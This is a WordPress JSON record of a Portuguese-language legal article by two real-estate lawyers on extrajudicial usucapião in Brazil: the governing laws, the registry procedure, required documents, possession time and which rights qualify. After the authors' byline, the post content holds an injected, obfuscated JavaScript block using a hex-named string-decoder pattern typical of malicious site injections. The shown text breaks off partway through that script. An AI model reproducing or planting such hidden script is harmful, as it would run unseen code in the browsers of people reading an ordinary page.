{"id":678,"date":"2018-08-29T09:50:31","date_gmt":"2018-08-29T12:50:31","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/breves-consideracoes-sobre-a-usucapiao-extrajudicial-por-debora-andrade-stupp-santiago-e-alexandre-laizo-clapis\/"},"modified":"2018-08-29T09:50:31","modified_gmt":"2018-08-29T12:50:31","slug":"breves-consideracoes-sobre-a-usucapiao-extrajudicial-por-debora-andrade-stupp-santiago-e-alexandre-laizo-clapis","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/breves-consideracoes-sobre-a-usucapiao-extrajudicial-por-debora-andrade-stupp-santiago-e-alexandre-laizo-clapis\/","title":{"rendered":"Breves considera\u00e7\u00f5es sobre a usucapi\u00e3o extrajudicial &#8211; Por Debora Andrade Stupp Santiago e Alexandre Laizo Cl\u00e1pis"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A usucapi&atilde;o consiste em forma de aquisi&ccedil;&atilde;o origin&aacute;ria de um direito relacionado a um bem pela posse prolongada da coisa, atendidos determinados requisitos legais.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Trataremos aqui da usucapi&atilde;o de bens im&oacute;veis pela via extrajudicial, modalidade trazida pela Lei Federal n&ordm; 13.105, de 16.03.2015 (novo C&oacute;digo de Processo Civil &ndash; CPC), que introduziu altera&ccedil;&otilde;es na Lei Federal n&ordm; 6.015, de 31.12.1973 (Lei de Registros P&uacute;blicos &ndash; LRP) (1) posteriormente regulamentada por meio do Provimento n&ordm; 65 do Conselho Nacional de Justi&ccedil;a &ndash; CNJ.<\/p>\n<h3 style=\"text-align: justify;\"><strong>Desjudicializa&ccedil;&atilde;o trazida pelo novo CPC<\/strong><\/h3>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O novo CPC inseriu o artigo 216-A na LRP, instituindo o procedimento extrajudicial de usucapi&atilde;o, que pode ser utilizado, por op&ccedil;&atilde;o da parte interessada, e sempre nas hip&oacute;teses em que n&atilde;o haja lit&iacute;gio, para o reconhecimento da aquisi&ccedil;&atilde;o por usucapi&atilde;o de qualquer direito real imobili&aacute;rio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Dessa forma, o processo extrajudicial de usucapi&atilde;o, conduzido diretamente no Registro de Im&oacute;veis competente, passou a ser, ao lado do processo judicial, uma forma poss&iacute;vel de reconhecimento de aquisi&ccedil;&atilde;o origin&aacute;ria de im&oacute;veis. Afinal, se n&atilde;o h&aacute; lit&iacute;gio, a atua&ccedil;&atilde;o do Estado-juiz &eacute; prescind&iacute;vel.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A desjudicializa&ccedil;&atilde;o deve ser bem recebida pela comunidade jur&iacute;dica e pela sociedade, sendo recomend&aacute;vel como forma de tirar do Poder Judici&aacute;rio demandas que n&atilde;o contenham disputas entre partes, consistindo em medida salutar na busca de maior celeridade, redu&ccedil;&atilde;o de custos e diminui&ccedil;&atilde;o da sobrecarga de processos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Exemplos de desjudicializa&ccedil;&atilde;o que foram bem recebidos s&atilde;o os institutos do div&oacute;rcio e do invent&aacute;rio, que passaram a ser processados pelos tabeli&atilde;es de notas, quando atendidos os requisitos legais.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Nesse sentido, inexistindo lide, ou seja, quando todas as partes potencialmente envolvidas est&atilde;o de acordo, a via extrajudicial ou administrativa ser&aacute; sempre uma op&ccedil;&atilde;o para o reconhecimento da usucapi&atilde;o, de forma que a via judicial permanecer&aacute; sendo uma alternativa.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Essa constata&ccedil;&atilde;o parece &oacute;bvia, j&aacute; que entendimento diverso feriria o direito fundamental de acesso ao Poder Judici&aacute;rio previsto no artigo 5&ordm;, XXXV da Constitui&ccedil;&atilde;o Federal. Al&eacute;m disso, a pr&oacute;pria LRP trata, no caput do artigo 216-A, do reconhecimento extrajudicial de usucapi&atilde;o &ldquo;sem preju&iacute;zo da via jurisdicional&rdquo;. De todo modo, o Tribunal de Justi&ccedil;a do Estado de S&atilde;o Paulo j&aacute; refor&ccedil;ou esse entendimento (2).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A respeito da intera&ccedil;&atilde;o entre a via administrativa e a judicial, o Provimento n&ordm; 65 do CNJ permite a suspens&atilde;o do procedimento desta via pelo prazo de trinta dias, ou at&eacute; mesmo sua desist&ecirc;ncia, para a ado&ccedil;&atilde;o daquela, sendo que as provas produzidas na via judicial poder&atilde;o ser sempre utilizadas na administrativa.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; importante destacar, ainda, que o processo administrativo poder&aacute; ser objeto de revis&atilde;o durante o seu curso ou mesmo ap&oacute;s o seu t&eacute;rmino.<\/p>\n<h3 style=\"text-align: justify;\"><strong>Forma origin&aacute;ria de aquisi&ccedil;&atilde;o do direito real de propriedade<\/strong><\/h3>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O reconhecimento da usucapi&atilde;o pela via extrajudicial n&atilde;o altera a natureza de aquisi&ccedil;&atilde;o origin&aacute;ria do direito real de propriedade (ou seja, desvinculada de qualquer rela&ccedil;&atilde;o com o titular anterior), tal qual tivesse sido a usucapi&atilde;o declarada pela via jurisdicional. Sendo aquisi&ccedil;&atilde;o origin&aacute;ria, n&atilde;o ser&aacute; devido o pagamento do Imposto de Transmiss&atilde;o de Bens Im&oacute;veis &ndash; ITBI.<\/p>\n<h3 style=\"text-align: justify;\"><strong>Altera&ccedil;&otilde;es na LRP e o Provimento n&ordm; 65 do CNJ<\/strong><\/h3>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O tratamento sobre o reconhecimento extrajudicial de usucapi&atilde;o inserido pelo novo CPC na LRP, em 16.03.2015, consistiu em importante inova&ccedil;&atilde;o sobre o tema; contudo, tratou da mat&eacute;ria de maneira gen&eacute;rica.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Dessa forma, a Lei Federal n&ordm; 13.465, de 11.07.2017, alterou a LRP na tentativa de corrigir imprecis&otilde;es legais (quando especifica a aplica&ccedil;&atilde;o do artigo 384 do CPC para tratar da ata notarial) e tratar de temas n&atilde;o abordados anteriormente (como no caso de o im&oacute;vel usucapiendo consistir em unidade aut&ocirc;noma de condom&iacute;nio edil&iacute;cio). Contudo, referida lei tamb&eacute;m n&atilde;o detalhou a mat&eacute;ria em quest&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em 14.12.2017, foi editado o Provimento n&ordm; 65 do CNJ, o qual, com o objetivo de regulamentar e padronizar o procedimento relativo &agrave; usucapi&atilde;o extrajudicial em todo o territ&oacute;rio nacional, estabeleceu diretrizes para o seu processamento no &acirc;mbito dos servi&ccedil;os notariais e de Registro de Im&oacute;veis.<\/p>\n<h3 style=\"text-align: justify;\"><strong>Procedimento para reconhecimento da usucapi&atilde;o extrajudicial<\/strong><\/h3>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O processo de usucapi&atilde;o extrajudicial nada mais &eacute; do que um procedimento administrativo, conduzido pelo Oficial Registrador, voltado para a an&aacute;lise de um conjunto probat&oacute;rio, com o fim de verificar se foram atendidos os requisitos legais necess&aacute;rios para a aquisi&ccedil;&atilde;o origin&aacute;ria do direito real de propriedade imobili&aacute;ria. Ao final, o Oficial Registrador ir&aacute; deferir ou denegar o pedido de reconhecimento de usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Nesse sentido, a legisla&ccedil;&atilde;o aplic&aacute;vel ao tema n&atilde;o exige interven&ccedil;&atilde;o judicial ou do Minist&eacute;rio P&uacute;blico, muito menos homologa&ccedil;&atilde;o judicial de seu resultado. Isso porque inexiste lide e a mat&eacute;ria versa sobre direitos patrimoniais dispon&iacute;veis (3).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O requerimento ser&aacute; processado diretamente no Registro de Im&oacute;veis da circunscri&ccedil;&atilde;o em que estiver localizado o im&oacute;vel usucapiendo (ou a maior parte dele, caso esteja localizado em mais de uma circunscri&ccedil;&atilde;o). Dever&aacute; ser formulado pelo requerente, sempre representado por advogado ou defensor p&uacute;blico, devendo atender, no que couber, aos requisitos da peti&ccedil;&atilde;o inicial estabelecidos no artigo 319 do CPC.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O pedido ser&aacute; autuado pelo registrador, gerando uma prenota&ccedil;&atilde;o (4), a qual ter&aacute; seu prazo prorrogado at&eacute; o acolhimento ou a rejei&ccedil;&atilde;o do pedido. Se j&aacute; existir procedimento de reconhecimento extrajudicial de usucapi&atilde;o sobre o mesmo im&oacute;vel, a prenota&ccedil;&atilde;o do novo procedimento permanecer&aacute; suspensa at&eacute; o acolhimento ou indeferimento do procedimento anterior.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O requerimento dever&aacute; indicar: (i) a modalidade da usucapi&atilde;o requerida e sua base legal ou constitucional; (ii) a origem e as caracter&iacute;sticas da posse, bem como informa&ccedil;&otilde;es sobre edifica&ccedil;&otilde;es, benfeitorias ou acess&otilde;es no im&oacute;vel usucapiendo; (iii) o nome e estado civil de todos os possuidores anteriores cujo tempo de posse foi somado ao do requerente para completar o per&iacute;odo aquisitivo; (iv) o n&uacute;mero do registro imobili&aacute;rio (matr&iacute;cula ou transcri&ccedil;&atilde;o) onde se encontra inserido o im&oacute;vel usucapiendo (ou a informa&ccedil;&atilde;o de que n&atilde;o se encontra matriculado ou transcrito); e, por fim, (v) o valor atribu&iacute;do ao im&oacute;vel usucapiendo (ser&aacute; o valor venal do im&oacute;vel relativo ao &uacute;ltimo exerc&iacute;cio, conforme lan&ccedil;amento do imposto predial e territorial urbano ou do imposto territorial rural, ou, quando n&atilde;o estipulado, ser&aacute; o valor de mercado aproximado).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Dever&aacute; ser instru&iacute;do com os seguintes documentos: (i) ata notarial contendo as informa&ccedil;&otilde;es do requerente e respectivo c&ocirc;njuge ou companheiro (5), se houver, bem como do titular do im&oacute;vel lan&ccedil;ado na matr&iacute;cula, atestando a descri&ccedil;&atilde;o e as caracter&iacute;sticas do im&oacute;vel, o tempo da posse, a forma de aquisi&ccedil;&atilde;o do im&oacute;vel, a modalidade de usucapi&atilde;o pretendida, o n&uacute;mero de im&oacute;veis atingidos pela pretens&atilde;o aquisitiva e sua localiza&ccedil;&atilde;o, o valor do im&oacute;vel e outras informa&ccedil;&otilde;es que o tabeli&atilde;o entenda pertinentes; (ii) planta e memorial descritivo assinados por profissional habilitado e pelos titulares dos direitos registrados ou averbados na matr&iacute;cula do im&oacute;vel usucapiendo, ou na matr&iacute;cula dos im&oacute;veis confinantes, ou pelos ocupantes a qualquer t&iacute;tulo; (iii) justo t&iacute;tulo ou quaisquer outros documentos que demonstrem a cadeia possess&oacute;ria e o tempo da posse; (iv) certid&otilde;es negativas de distribuidores forenses atualizadas do local de situa&ccedil;&atilde;o do im&oacute;vel usucapiendo, atestando a inexist&ecirc;ncia de a&ccedil;&otilde;es que caracterizem oposi&ccedil;&atilde;o &agrave; posse do im&oacute;vel, em nome do requerente (e demais possuidores, em caso de sucess&atilde;o de posse) e do titular do im&oacute;vel na matr&iacute;cula, bem como seus respectivos c&ocirc;njuges ou companheiros, se houver; (v) descri&ccedil;&atilde;o georreferenciada do im&oacute;vel, quando assim exigido por lei; (vi) instrumento de mandato (p&uacute;blico ou particular), com poderes especiais e firma reconhecida (por semelhan&ccedil;a ou por autenticidade), outorgado ao advogado pelo requerente e pelo seu c&ocirc;njuge ou companheiro; (vii) declara&ccedil;&atilde;o do requerente e seu c&ocirc;njuge ou companheiro, se caso, outorgando ao defensor p&uacute;blico a capacidade postulat&oacute;ria da usucapi&atilde;o; e (viii) certid&otilde;es atualizadas dos &oacute;rg&atilde;os municipais e\/ou federais, conforme o caso, demonstrando a natureza urbana ou rural do im&oacute;vel usucapiendo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Se os titulares dos direitos registrados ou averbados na matr&iacute;cula do im&oacute;vel usucapiendo, ou na matr&iacute;cula dos im&oacute;veis confinantes, ou os ocupantes do im&oacute;vel, a qualquer t&iacute;tulo, n&atilde;o assinarem a planta mencionada no item (ii) do par&aacute;grafo acima, e se n&atilde;o for apresentado, por essas pessoas, um documento indicando sua anu&ecirc;ncia, o Oficial do Registro de Im&oacute;veis, por meio do Cart&oacute;rio de T&iacute;tulos e Documentos, dever&aacute; notificar tais pessoas para manifestarem seu consentimento em quinze dias, sendo o sil&ecirc;ncio considerado concord&acirc;ncia. Caso as notifica&ccedil;&otilde;es restem infrut&iacute;feras, o Oficial Registrador promover&aacute; a notifica&ccedil;&atilde;o por edital, mediante publica&ccedil;&atilde;o, por duas vezes, em jornal local de grande circula&ccedil;&atilde;o, pelo prazo de quinze dias cada um, interpretado o sil&ecirc;ncio do notificando como concord&acirc;ncia.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Tal consentimento ser&aacute; considerado outorgado, sendo dispensada a notifica&ccedil;&atilde;o, caso o requerente apresente justo t&iacute;tulo ou instrumento que demonstre a exist&ecirc;ncia de rela&ccedil;&atilde;o jur&iacute;dica com o titular registral (como um compromisso ou um recibo de compra e venda, uma proposta de compra, uma cess&atilde;o de direitos etc), acompanhado de prova da quita&ccedil;&atilde;o das obriga&ccedil;&otilde;es e de certid&atilde;o do distribuidor c&iacute;vel atualizada, demonstrando a inexist&ecirc;ncia de a&ccedil;&atilde;o judicial contra o requerente ou contra seus cession&aacute;rios envolvendo o im&oacute;vel usucapiendo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A intima&ccedil;&atilde;o dos confrontantes ser&aacute; dispensada se o im&oacute;vel usucapiendo for matriculado com descri&ccedil;&atilde;o precisa, com perfeita identidade entre a descri&ccedil;&atilde;o do im&oacute;vel e a &aacute;rea objeto do requerimento de usucapi&atilde;o extrajudicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O Oficial do Registro de Im&oacute;veis expedir&aacute; edital para ci&ecirc;ncia de terceiros eventualmente interessados, que poder&atilde;o manifestar-se nos quinze dias subsequentes ao da publica&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Por fim, estando em ordem a documenta&ccedil;&atilde;o e n&atilde;o havendo impugna&ccedil;&atilde;o, o Oficial do Registro de Im&oacute;veis emitir&aacute; nota fundamentada de deferimento e efetuar&aacute; o registro da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A decis&atilde;o que reconhece a usucapi&atilde;o extrajudicialmente &ndash; assim como a que reconhece a usucapi&atilde;o judicialmente &ndash; &eacute; meramente declarat&oacute;ria. Dessa forma, embora n&atilde;o a constitua, o registro da usucapi&atilde;o no Registro de Im&oacute;veis faz com que a usucapi&atilde;o seja publicizada, tendo o efeito de tornar o direito adquirido opon&iacute;vel erga omnes e de conferir disponibilidade ao seu titular.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Caso o Oficial do Registro de Im&oacute;veis rejeite o pedido, dever&aacute; elaborar nota de devolu&ccedil;&atilde;o fundamentada. A rejei&ccedil;&atilde;o do pedido extrajudicial n&atilde;o impedir&aacute; o ajuizamento de a&ccedil;&atilde;o de usucapi&atilde;o no foro competente.<\/p>\n<h3 style=\"text-align: justify;\"><strong>Tempo de posse<\/strong><\/h3>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O tabeli&atilde;o dever&aacute; atestar o tempo de posse (6), ou seja, comprovar a posse exercida pelo requerente e seus antecessores, se o caso, por meio de provas, tais como comprovantes de pagamentos de tributos, de contas de &aacute;gua e de energia el&eacute;trica, fotografias no im&oacute;vel, depoimentos de pessoas que presenciaram a posse ao longo dos anos, dentre outras. A mera declara&ccedil;&atilde;o de posse por parte do requerente n&atilde;o ser&aacute; suficiente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O tempo de posse necess&aacute;rio &agrave; caracteriza&ccedil;&atilde;o da usucapi&atilde;o ir&aacute; depender da modalidade de prescri&ccedil;&atilde;o aquisitiva requerida, conforme requisitos legais.<\/p>\n<h3 style=\"text-align: justify;\"><strong>Exist&ecirc;ncia de &ocirc;nus ou gravames<\/strong><\/h3>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A exist&ecirc;ncia de &ocirc;nus real ou de gravame na matr&iacute;cula do im&oacute;vel usucapiendo n&atilde;o impedir&aacute; o reconhecimento extrajudicial da usucapi&atilde;o. Contudo, eventual impugna&ccedil;&atilde;o do titular do direito que grava o im&oacute;vel poder&aacute; impedir o reconhecimento da usucapi&atilde;o pela via extrajudicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O reconhecimento extrajudicial da usucapi&atilde;o de im&oacute;vel matriculado, por si s&oacute;, n&atilde;o extinguir&aacute; eventuais restri&ccedil;&otilde;es administrativas nem gravames judiciais regularmente inscritos na matr&iacute;cula do im&oacute;vel. O requerente dever&aacute; formular pedido de cancelamento dos gravames e restri&ccedil;&otilde;es diretamente &agrave; autoridade que emitiu a ordem.<\/p>\n<h3 style=\"text-align: justify;\"><strong>Direitos pass&iacute;veis de serem usucapidos pela via extrajudicial<\/strong><\/h3>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Todos os direitos reais que tenham por seu pressuposto o direito &agrave; posse, com fun&ccedil;&atilde;o de frui&ccedil;&atilde;o, s&atilde;o pass&iacute;veis de usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Os direitos pass&iacute;veis de serem usucapidos pela via extrajudicial s&atilde;o os mesmos que podem ser usucapidos pela via judicial, tais como a propriedade, o usufruto, o uso, a habita&ccedil;&atilde;o, a servid&atilde;o aparente, o dom&iacute;nio &uacute;til, a propriedade superfici&aacute;ria.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Da mesma forma, n&atilde;o podem ser usucapidos pela via extrajudicial os bens e direitos que n&atilde;o podem ser usucapidos judicialmente, tais como os direitos reais de garantia, os bens p&uacute;blicos e os im&oacute;veis da Caixa Econ&ocirc;mica Federal vinculados ao Sistema Financeiro de Habita&ccedil;&atilde;o &ndash; SFH (7).<\/p>\n<h3 style=\"text-align: justify;\"><strong>Esp&eacute;cies de usucapi&atilde;o e abrang&ecirc;ncia da usucapi&atilde;o extrajudicial<\/strong><\/h3>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; N&atilde;o h&aacute; limita&ccedil;&atilde;o no artigo 216-A da LRP quanto &agrave; esp&eacute;cie de usucapi&atilde;o que possa ser reconhecida pela usucapi&atilde;o extrajudicial, tampouco h&aacute; alguma incompatibilidade por conta da natureza jur&iacute;dica de alguma esp&eacute;cie, de modo que qualquer esp&eacute;cie de prescri&ccedil;&atilde;o aquisitiva pode ser reconhecida extrajudicialmente se presentes os requisitos para tanto (posse ad usucapion em pelo tempo adequado, aliada aos demais requisitos eventualmente exigidos, a depender da esp&eacute;cie de usucapi&atilde;o).<\/p>\n<p style=\"text-align: justify;\">&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;<\/p>\n<p style=\"text-align: justify;\">(1) Alterada tamb&eacute;m pela Lei Federal n&ordm; 13.465, de 11.07.2017.<\/p>\n<div id=\"sdfootnote2\">\n<p style=\"text-align: justify;\">(2) Tribunal de Justi&ccedil;a do Estado de S&atilde;o Paulo entendeu ser inafast&aacute;vel a jurisdi&ccedil;&atilde;o, o que decorre n&atilde;o apenas da Carta Magna, mas da pr&oacute;pria lei aplic&aacute;vel ao caso. Apela&ccedil;&atilde;o n&ordm; 1005388-18.2016.8.26.0126, de relatoria do desembargador Dr. Jos&eacute; Carlos Ferreira Alves, do Tribunal de Justi&ccedil;a do Estado de S&atilde;o Paulo. Ac&oacute;rd&atilde;o publicado em 27.09.2017.<\/p>\n<p style=\"text-align: justify;\">(3) Havendo lide ou versando a mat&eacute;ria sobre direitos indispon&iacute;veis, a atua&ccedil;&atilde;o do Estado-juiz faz-se necess&aacute;ria.<\/p>\n<p style=\"text-align: justify;\">(4) Prenota&ccedil;&atilde;o &eacute; a anota&ccedil;&atilde;o pr&eacute;via e provis&oacute;ria no protocolo de um t&iacute;tulo apresentado para registro, que passar&aacute; a gozar de&nbsp;prioridade&nbsp;no registro em rela&ccedil;&atilde;o &agrave;quele protocolado posteriormente.<\/p>\n<\/div>\n<div id=\"sdfootnote4\">\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Segundo o artigo 186 da LRP, o n&uacute;mero de ordem determinar&aacute; a prioridade do t&iacute;tulo, e esta a prefer&ecirc;ncia dos direitos reais, ainda que apresentados pela mesma pessoa mais de um t&iacute;tulo simultaneamente.<\/p>\n<p style=\"text-align: justify;\">(5) Ser&aacute; dispensado o consentimento do c&ocirc;njuge do requerente se estiverem casados sob o regime de separa&ccedil;&atilde;o absoluta de bens (artigo 4&ordm;, &sect;4&ordm; do Provimento n&ordm; 65 do CNJ).<\/p>\n<p style=\"text-align: justify;\">(6) Julgado recente asseverou que somente o jus possessionis (i.e. que decorre da posse; &eacute; o direito de posse) &eacute; apto a possibilitar a aquisi&ccedil;&atilde;o da propriedade por usucapi&atilde;o, de forma que o jus possidendi (i.e. que decorre da propriedade; &eacute; o direito &agrave; posse, o direito de possuir), por si s&oacute;, n&atilde;o &eacute; suficiente para fins de reconhecimento de usucapi&atilde;o. Apela&ccedil;&atilde;o n&ordm; 1005106-25.2017.8.26.0132, de relatoria do Corregedor Geral da Justi&ccedil;a Dr. Geraldo Francisco Pinheiro Franco, do Conselho Superior de Magistratura. Ac&oacute;rd&atilde;o publicado em 08.08.2018.<\/p>\n<p style=\"text-align: justify;\">(7) Segundo entendimento consolidado do STJ, os im&oacute;veis da Caixa Econ&ocirc;mica Federal vinculados ao SFH s&atilde;o afetados &agrave; presta&ccedil;&atilde;o de servi&ccedil;o p&uacute;blico, devendo ser tratados como bens p&uacute;blicos, sendo, pois, imprescrit&iacute;veis (REsp n&ordm; 1.448.026\/PE, de relatoria da Ministra Nancy Andrighi, Terceira Turma do Superior Tribunal de Justi&ccedil;a. Ac&oacute;rd&atilde;o publicado em 21.11.2016).<\/p>\n<\/div>\n<p style=\"text-align: justify;\"><em><strong>Debora Andrade Stupp Santiago<\/strong> &ndash; advogada especializada em direito imobili&aacute;rio do Stocche Forbes Advogados.<br \/>\n<strong>Alexandre Laizo Cl&aacute;pis<\/strong> &ndash; s&oacute;cio da &aacute;rea imobili&aacute;ria do Stocche Forbes Advogados<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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